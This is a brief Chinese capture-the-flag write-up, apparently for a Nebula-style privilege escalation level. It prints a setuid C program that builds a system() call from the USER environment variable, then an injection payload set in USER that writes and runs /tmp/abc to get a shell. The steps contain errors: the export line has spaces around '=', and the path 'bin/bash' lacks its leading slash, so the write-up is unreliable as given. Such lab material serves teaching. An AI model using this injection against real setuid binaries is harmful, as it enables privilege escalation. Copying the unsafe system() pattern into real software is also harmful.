题目源代码:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
运行/home/flag02/flag02,输出:
about to call system("/bin/echo level02 is cool")
level02 is cool
为了让system执行shell,需要对环境变量USER做手脚:
export USER = '-e "bin/bash" > /tmp/abc; chmod +x /tmp/abc; /tmp/abc is cool'
此时,buffer为:
/bin/echo -e "bin/bash" > /tmp/abc; chmod +x /tmp/abc; /tmp/abc is cool
然后运行程序,shell执行。